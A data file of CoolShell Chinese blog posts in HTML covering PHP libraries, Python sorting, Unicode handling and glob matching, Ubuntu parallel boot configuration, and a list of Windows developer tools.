PHP</span></a> 库可以让你的站点集成这些功能。</p>\n<p><img alt=\"XML-RPC\" src=\"http://nettuts.s3.amazonaws.com/267_libraries/libs/xmlrpc.png\" style=\"width: 231px;\"/></p>\n<p><a href=\"http://phpxmlrpc.sourceforge.net/#download\"><span style=\"color: #468175;\">下载 XML-RPC PHP</span></a> | <a href=\"http://phpxmlrpc.sourceforge.net/#interest\"><span style=\"color: #468175;\">相关文档</span></a></p>\n<h3>8. Amazon S3</h3>\n<p>Amazon 提供了一个“云服务”叫”S3″. 这个PHP库可以让你不需要第三方的插件就可以上传大的文件。</p>\n<div class=\"tutorial_image\"><img alt=\"Amazon S3\" src=\"http://nettuts.s3.amazonaws.com/267_libraries/libs/s3.png\" style=\"width: 563px;\"/></div>\n<p><a href=\"http://amazon-s3-php-class.googlecode.com/files/s3-php5-curl_0.3.9.tar.gz\"><span style=\"color: #468175;\">下载 Amazon S3 PHP 类</span></a></p>\n<h3>9. PHPMailer</h3>\n<p>很多应用都需要对外发送邮件，但是PHP的mail() 函数并不是特别好用。于是 PHPMailer 应运而生，这是一个功能强大的类，其允许你发送不同格式的邮件，并支持附件和自定义邮件头。</p>\n<div class=\"tutorial_image\"><img alt=\"Sending Mail\" src=\"http://nettuts.s3.amazonaws.com/267_libraries/libs/mail.png\" style=\"width: 245px;\"/></div>\n<p><a href=\"http://phpmailer.codeworxtech.com/index.php?pg=sf&amp;p=dl\"><span style=\"color: #468175;\">下载 PHPMailer</span></a> | <a href=\"http://phpmailer.codeworxtech.com/index.php?pg=tutorial\"><span style=\"color: #468175;\">相关文档</span></a></p>\n<p>文章：<a href=\"http://net.tutsplus.com/articles/web-roundups/9-extremely-useful-and-free-php-libraries/\" target=\"_blank\">来源</a><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/559.html\"><img alt=\"菜鸟学PHP之Smarty入门\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/1.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/559.html\">菜鸟学PHP之Smarty入门</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17737.html\"><img alt=\"AWS 的 S3 故障回顾和思考\" height=\"150\" src=\"../wp-content/uploads/2017/03/Amazon-Web-Services-Down-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17737.html\">AWS 的 S3 故障回顾和思考</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/7886.html\"><img alt=\"代码执行的效率\" height=\"150\" src=\"../wp-content/uploads/2012/07/muxnt-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/7886.html\">代码执行的效率</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5224.html\"><img alt=\"一些文章和各种资源\" height=\"150\" src=\"../wp-content/uploads/2011/09/image008-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5224.html\">一些文章和各种资源</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5160.html\"><img alt=\"PHP分页技术的代码和示例\" height=\"150\" src=\"../wp-content/uploads/2011/08/Pagination-e1312791884744-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5160.html\">PHP分页技术的代码和示例</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4905.html\"><img alt=\"语言的数据亲和力\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/3.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4905.html\">语言的数据亲和力</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/455.html\">9个强大免费的PHP库</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-4-12 Python中实现多属性排序.html",
    "content": "<html><body><p>我们有一组记录:</p>\n<pre class=\"EnlighterJSRAW\">list_records =\n(\n (department, name, salary),\n (department, name, salary),\n ...\n (department, name, salary)\n)</pre>\n<p>然后我们想进行类似 MS – Excel 里的 “then sort by” 中的功能一样先基于department排序，然后再在部门内按照salary排序。</p>\n<p>其他编程语言可能相对复杂，我这里写出一个用Python实现的最简方法（也许有比这个还短的，来挑战吧）</p>\n<p><span id=\"more-435\"></span></p>\n<pre class=\"EnlighterJSRAW\">list_records.sort(\n key = lambda l: (l[0], l[2])\n)</pre>\n<p>这个就是函数是编程的好处，可以无中生有的构造出一个没有名字的inline函数。假设我们有另外一个dictionary_age 是保存的 { name: ages }， 我们还可以简单的实现基于外部属性进行排序。例如，如果我们想先按照部门排序，然后在部门里按照年龄排序，我们可以写：</p>\n<pre class=\"EnlighterJSRAW\">list_record.sort(\n key = lambda l:( l[0], dictionary_age(l[1]) )\n)</pre>\n<p>如果需要降序排列，可以设置 revserse = True; 如果想基于两个属性，一个升序，一个降序，可以试试将其中一个构造一个外部规则，然后如同上例子中的dictionary_age一样传递进去。</p>\n<p>Done!<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\" id=\"wp_rp_first\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11265.html\"><img alt=\"Python修饰器的函数式编程\" height=\"150\" src=\"../wp-content/uploads/2014/03/snake-hat-new-year-schedule-800x960-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11265.html\">Python修饰器的函数式编程</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/10822.html\"><img alt=\"函数式编程\" height=\"150\" src=\"../wp-content/uploads/2013/12/yoda-lambda-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/10822.html\">函数式编程</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/10169.html\"><img alt=\"类型的本质和函数式实现\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/5.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/10169.html\">类型的本质和函数式实现</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/7886.html\"><img alt=\"代码执行的效率\" height=\"150\" src=\"../wp-content/uploads/2012/07/muxnt-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/7886.html\">代码执行的效率</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4939.html\"><img alt=\"Quora使用到的技术\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4939.html\">Quora使用到的技术</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/435.html\">Python中实现多属性排序</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-4-12 Python处理中文的时候的一些小技巧.html",
    "content": "<html><body><p>相信第一次处理中文的朋友们可能都会对中文的encoding 和程序的报错很头疼。</p>\n<p>如果你像我一样希望能够把事情尽快做好而不去深究，你可能会写一些异常处理的代码把 UnicodeEncodingError糊弄过去先，但当你开始怀疑有多少encoding出错的信息被你丢弃的时候，可能你会很惊奇。于是，你还是会想坐下来，（洗把脸）然后面对自己必须弄懂什么是utf-8，什么是 ‘gb2312’， 什么是 ‘gbk’ 和其中的猫腻。正如有时候猛撕小伤口上邦迪胶布的快感一样，有时候当你认真面对一些你平时一直回避的问题的时候（其实有时候需要的不是勇气）， 你反而会觉得“不过如此”，并且能够一劳永逸的解决问题。</p>\n<p>关于Python处理Unicode，我所能找到的最言简意赅的入门教程是：</p>\n<h3 class=\"r\"><a class=\"l\" href=\"http://farmdev.com/talks/unicode/\"><em><em>Unicode</em> In <em>Python</em>, Completely Demystified </em>（揭秘Python Unicode）\n<p></p></a></h3>\n<p>简要罗列一下最重要最实用的点：</p>\n<p><span id=\"more-461\"></span></p>\n<p>Solution</p>\n<ol>\n<li><strong>Decode early </strong>（尽早decode, 将文件中的内容转化成 unicode 再进行下一步处理)</li>\n<li><strong>Unicode everywhere </strong>(程序内部处理都用unicode)</li>\n<li><strong>Encode late </strong>(最后encode回所需的encoding, 例如把最终结果写进结果文件)</li>\n</ol>\n<p><strong>1. Decode early</strong></p>\n<blockquote><p>Decode to &lt;type ‘unicode’&gt; ASAP</p>\n<p>&gt;&gt;&gt; def to_unicode_or_bust(</p>\n<p>…         obj, encoding=’utf-8′):</p>\n<p>…     if isinstance(obj, basestring):</p>\n<p>…         if not isinstance(obj, unicode):</p>\n<p>…             obj = unicode(obj, encoding)</p>\n<p>…     return obj</p>\n<p>…</p>\n<p>&gt;&gt;&gt;</p>\n<p>detects if object is a string and if so converts to unicode, if not already.</p></blockquote>\n<p><strong>2. Unicode everywhere</strong></p>\n<blockquote><p>&gt;&gt;&gt; to_unicode_or_bust(ivan_uni)</p>\n<p>u’Ivan Krsti\\u0107′</p>\n<p>&gt;&gt;&gt; to_unicode_or_bust(ivan_utf8)</p>\n<p>u’Ivan Krsti\\u0107′</p>\n<p>&gt;&gt;&gt; to_unicode_or_bust(1234)</p>\n<p>1234</p></blockquote>\n<p><strong>3. Encode late</strong></p>\n<blockquote><p>Encode to &lt;type ‘str’&gt; when you write to disk or print</p>\n<p>&gt;&gt;&gt; f = open(‘/tmp/ivan_out.txt’,’w’)</p>\n<p>&gt;&gt;&gt; f.write(ivan_uni.encode(‘utf-8’))</p>\n<p>&gt;&gt;&gt; f.close()</p></blockquote>\n<p>我以前一直觉得unicode相关的处理都是很 dirty 的工作，一般都会一边尝试，一边用异常处理去补丁，看完以上这个教程以后豁然开朗。</p>\n<p>祝大家也能早日理清处理中文的时候的头绪，坦然直面“神秘”的unicode<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11265.html\"><img alt=\"Python修饰器的函数式编程\" height=\"150\" src=\"../wp-content/uploads/2014/03/snake-hat-new-year-schedule-800x960-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11265.html\">Python修饰器的函数式编程</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/10822.html\"><img alt=\"函数式编程\" height=\"150\" src=\"../wp-content/uploads/2013/12/yoda-lambda-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/10822.html\">函数式编程</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/10169.html\"><img alt=\"类型的本质和函数式实现\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/5.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/10169.html\">类型的本质和函数式实现</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/7886.html\"><img alt=\"代码执行的效率\" height=\"150\" src=\"../wp-content/uploads/2012/07/muxnt-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/7886.html\">代码执行的效率</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4939.html\"><img alt=\"Quora使用到的技术\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4939.html\">Quora使用到的技术</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/461.html\">Python处理中文的时候的一些小技巧</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-4-12 Python脚本如何对文件通配符匹配.html",
    "content": "<html><body><p>有时候，我们可能会写一些轻量级的脚本去处理很多符合某种pattern的文件，例如“某目录下的 *logfile.csv” 但是，我们大多数脚本的参数都是 sys.argv, 如何解析 wildcard 匹配呢？</p>\n<h4>test.py</h4>\n<pre class=\"EnlighterJSRAW\"> from glob import glob\n...\nif __name__ == \"__main__\":\n    file_names = glob(sys.argv[1])\n    for file_name in file_names:\n        do_something(file) </pre>\n<p>这样就可以像使用其他终端命令一样使用脚本test.py 进行wildcard匹配了</p>\n<h4>&gt;&gt; test.py ./*logfile.csv</h4>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11265.html\"><img alt=\"Python修饰器的函数式编程\" height=\"150\" src=\"../wp-content/uploads/2014/03/snake-hat-new-year-schedule-800x960-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11265.html\">Python修饰器的函数式编程</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/10822.html\"><img alt=\"函数式编程\" height=\"150\" src=\"../wp-content/uploads/2013/12/yoda-lambda-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/10822.html\">函数式编程</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/10169.html\"><img alt=\"类型的本质和函数式实现\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/5.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/10169.html\">类型的本质和函数式实现</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/7886.html\"><img alt=\"代码执行的效率\" height=\"150\" src=\"../wp-content/uploads/2012/07/muxnt-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/7886.html\">代码执行的效率</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4939.html\"><img alt=\"Quora使用到的技术\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4939.html\">Quora使用到的技术</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/444.html\">Python脚本如何对文件通配符匹配</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-4-13 Ubuntu的并行启动.html",
    "content": "<html><body><p>如果你在使用多核处理器，那么你可以配置Ubuntu的一个参数来使用Ubuntu的启动并行，以加快其启动速度。</p>\n<p>这个参数在文件<em>/etc/init.d/rc</em>中，其参数名是CONCURRENCY默认值是none，你可以把这个参数改成如下所示。于是，你就开启了Ubuntu的并行启动的功能。</p>\n<p style=\"padding-left: 30px;\">CONCURRENCY=shell</p>\n<p>但是，这个参数会导致dbus, hal和gdm的产生“race condition”竞争条件，所以，这三个程序的启动顺序非常的关键。其必需保证这个顺序：dbus -&gt; hal -&gt; gdm。这个顺序在Ubuntu的Hardy，Intrepid 或Jaunty中是没有问题的。但是，我们不排除在别的版本中会有问题。</p>\n<p><span id=\"more-501\"></span></p>\n<p>所以，在开启“并行启动”时，你需要去检查一下dbus，hal和gdm的启动顺序，其启动顺序你可以在<em>/etc/rc2.d/</em>目录下，查看一个这三个程序的S后面的编号顺序。如果你看到下面的这个顺序，那么你就需要做出调整了。</p>\n<p style=\"padding-left: 30px;\">s12dbus<br/>\ns13gdm<br/>\ns24hal</p>\n<p>调整也很简单，就是改一下S后面的数字就行了，如下所示：</p>\n<p style=\"padding-left: 30px;\"><span style=\"font-style: italic;\">mv s24hal s13hal</span><br/>\n<span style=\"font-style: italic;\">mv s13gdm s14gdm</span></p>\n<p>关于更多详细的情况，请查看这个<a href=\"https://bugs.launchpad.net/ubuntu/+source/hal/+bug/149881\" target=\"_blank\">BUG报告</a> 。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4826.html\"><img alt=\"GNU/Linux下有多少是GNU的？\" height=\"150\" src=\"../wp-content/uploads/2011/06/GNUTotalSplit-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4826.html\">GNU/Linux下有多少是GNU的？</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1097.html\"><img alt=\"Ksplice Uptrack — Ubuntu更新不用重启\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1097.html\">Ksplice Uptrack — Ubuntu更新不用重启</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22320.html\"><img alt=\"eBPF 介绍\" height=\"150\" src=\"../wp-content/uploads/2022/12/eBPF-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22320.html\">eBPF 介绍</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/19219.html\"><img alt=\"打造高效的工作环境 – Shell 篇\" height=\"150\" src=\"../wp-content/uploads/2019/03/linux.ninja_-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/19219.html\">打造高效的工作环境 – Shell 篇</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18654.html\"><img alt=\"记一次Kubernetes/Docker网络排障\" height=\"150\" src=\"../wp-content/uploads/2018/12/docker-networking-1-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18654.html\">记一次Kubernetes/Docker网络排障</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/501.html\">Ubuntu的并行启动</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-4-13 Windows下和程序员相关小工具.html",
    "content": "<html><body><p><a href=\"http://www.donationcoder.com/Software/Skrommel/index.html\" target=\"_blank\">1 HOUR SOFTWARE</a> – 很多的小工具集</p>\n<p><a href=\"http://memprofiler.com/\" target=\"_blank\">.NET Memory Profiler</a> – 可以找出.NET程序中的内存泄露问题，并找出可优化的内存。</p>\n<p><a href=\"http://www.aisto.com/roeder/dotnet/\" target=\"_blank\">.NET Reflector</a> – 查看，导航，搜索.NET汇编中的类的继承关系。</p>\n<p><a href=\"http://www.pysoft.com/ActiveWebCamMainpage.htm\" target=\"_blank\">Active Webcam</a> – Webcam 视频监视软件。</p>\n<p><a href=\"http://www.joejoesoft.com/cms/showpage.php?cid=97\" target=\"_blank\">ArsClip</a> – 剪贴版管理程序，可以跟踪每次剪贴版中的内容，并可以通过设置热键，取出粘贴其中的内容。</p>\n<p><a href=\"http://www.netcoole.com/asp2aspx.htm\" target=\"_blank\">ASP2ASPX</a> – 转换ASP 程序页到ASP.NET</p>\n<p><a href=\"http://www.autohotkey.com/\" target=\"_blank\">AutoHotKey</a> – 自动点击键盘和鼠标。</p>\n<p><span id=\"more-506\"></span></p>\n<p><a href=\"http://www.fmjsoft.com/awframe.html\" target=\"_blank\">Awave Studio</a> – 几乎是所有的音频格式的转换程序。</p>\n<p><a href=\"http://www.bookcase.com/library/software/msdos.util.batch.html\" target=\"_blank\">Batch files</a> – 想要不同功能的bat文件吗？这个站点集成了很多功能强大的bat文件。</p>\n<p><a href=\"http://www.nu2.nu/pebuilder/\" target=\"_blank\">BartPE</a> – 制作一张可以启动的Windows CD/DVD</p>\n<p><a href=\"http://www.scootersoftware.com/\" target=\"_blank\">Beyond Compare</a> – 快速容易地比较和合并本地，远程或FTP服务器上的文件和目录。</p>\n<p><a href=\"http://www.bitpim.org/\" target=\"_blank\">BitPim</a> – 可以查看并操作绝大多数的 CDMA 手机</p>\n<p><a href=\"http://www.bullzip.com/products/pdf/info.php\" target=\"_blank\">Bullzip PDF Printer</a> – PDF文件打印机程序。</p>\n<p><a href=\"http://www.oxid.it/cain.html\" target=\"_blank\">Cain &amp; Abel</a> – 口令恢复工具。（可以用作正常和不正常的情况）</p>\n<p><a href=\"http://www.techsmith.com/camtasia.asp\" target=\"_blank\">Camtasia Studio</a> – 屏幕录像工具。</p>\n<p><a href=\"http://msdn2.microsoft.com/en-us/vcsharp/aa336818.aspx\" target=\"_blank\">C# Programming Tools</a> – C# 开发工具</p>\n<p><a href=\"http://www.ccleaner.com/\" target=\"_blank\">CCleaner</a> – 系统优化，隐私和清理工具。</p>\n<p><a href=\"http://ftp.uma.es/ClientesVPN/?C=M;O=A\" target=\"_blank\">Cisco VPN Clients</a> – Cisco VPN客户端。</p>\n<p><a href=\"http://clonedetectivevs.codeplex.com/\" target=\"_blank\">Clone Detective</a> – 这是一个集成到Visual Studio 中，允许你分析自己的C# projects 中是否有重复的代码，以便你重构你的代码。</p>\n<p><a href=\"http://www.codesmithtools.com/\" target=\"_blank\">CodeSmith</a> – 代码生成器，可惜是收费的。</p>\n<p><a href=\"http://tools.tortoisesvn.net/CommitMonitor\" target=\"_blank\">Commit Monitor</a> – 一个任务栏中的小监视器，当 subversion 的源代码被别人更新过了，他可以通知你。</p>\n<p><a href=\"http://www.microsoft.com/downloads/details.aspx?familyid=22e69ae4-7e40-4807-8a86-b3d36fab68d3&amp;displaylang=en\" target=\"_blank\">Consolas Font Pack</a> – 终级的程序字体。（VS2005）</p>\n<p><a href=\"http://www.nirsoft.net/utils/cports.html\" target=\"_blank\">CurrPorts</a> – 把所有打开的 TCP/IP 和UDP 端口都列出来。</p>\n<p><a href=\"http://www.daemon-tools.cc/dtcc/download.php?mode=ViewCategory&amp;catid=5\" target=\"_blank\">DAEMON Tools Lite</a> – 大名鼎鼎的超轻量级的虚拟光驱程序。</p>\n<p><a href=\"http://wiki.lunarsoft.net/wiki/Dial-a-fix\" target=\"_blank\">DialAFix</a> – 可以修复很多不同的Windows 问题的小工具。</p>\n<p><a href=\"http://www.pcmag.com/article2/0,2817,1944519,00.asp\" target=\"_blank\">DiskAction</a> – 查看目前的进程是怎么在存取你的硬盘的。</p>\n<p><a href=\"http://www.bigbangenterprises.de/en/doublekiller\" target=\"_blank\">DoubleKiller</a> – 查找相同的文件，并保留其中的一份。</p>\n<p><a href=\"http://www.stack.nl/~dimitri/doxygen/\" target=\"_blank\">Doxygen</a> – 一个通过程序注释创建程序文档的工具，非常有用。</p>\n<p><a href=\"http://www.innovative-sol.com/drivermax/\" target=\"_blank\">DriverMax</a> – 导出所有驱动器的数据到一个目录或一个压缩文件中。</p>\n<p><a href=\"http://www.debuginspector.com/index.htm\" target=\"_blank\">Debug Inspector</a> – 在多线程中，可以同时看到各个线程的函数调用栈。并可以检测死锁。</p>\n<p><a href=\"http://www.exactaudiocopy.de/\" target=\"_blank\">EAC</a> – 从CD或DVD中捕捉音视的程序。</p>\n<p><a href=\"http://www.heidi.ie/node/14\" target=\"_blank\">Eraser</a> – 彻底地删文件，删除文件后，在原来分配给文件的硬盘上写上一些随机的字符。</p>\n<p><a href=\"http://www.lavalys.com/\" target=\"_blank\">EVEREST</a> – PC 诊断和benchmark的工具。</p>\n<p><a href=\"http://www.fiddlertool.com/fiddler/version.asp\" target=\"_blank\">Fiddler</a> – Web 调试代理。</p>\n<p><a href=\"http://www.gbordier.com/\" target=\"_blank\">FILEACL</a> – NTFS 权限管理工具。</p>\n<p><a href=\"http://www.lopesoft.com/en/fmtools/info.html\" target=\"_blank\">FileMenu Tools</a> – Explorer 的右键菜单管理工具。</p>\n<p><a href=\"http://filezilla-project.org/\" 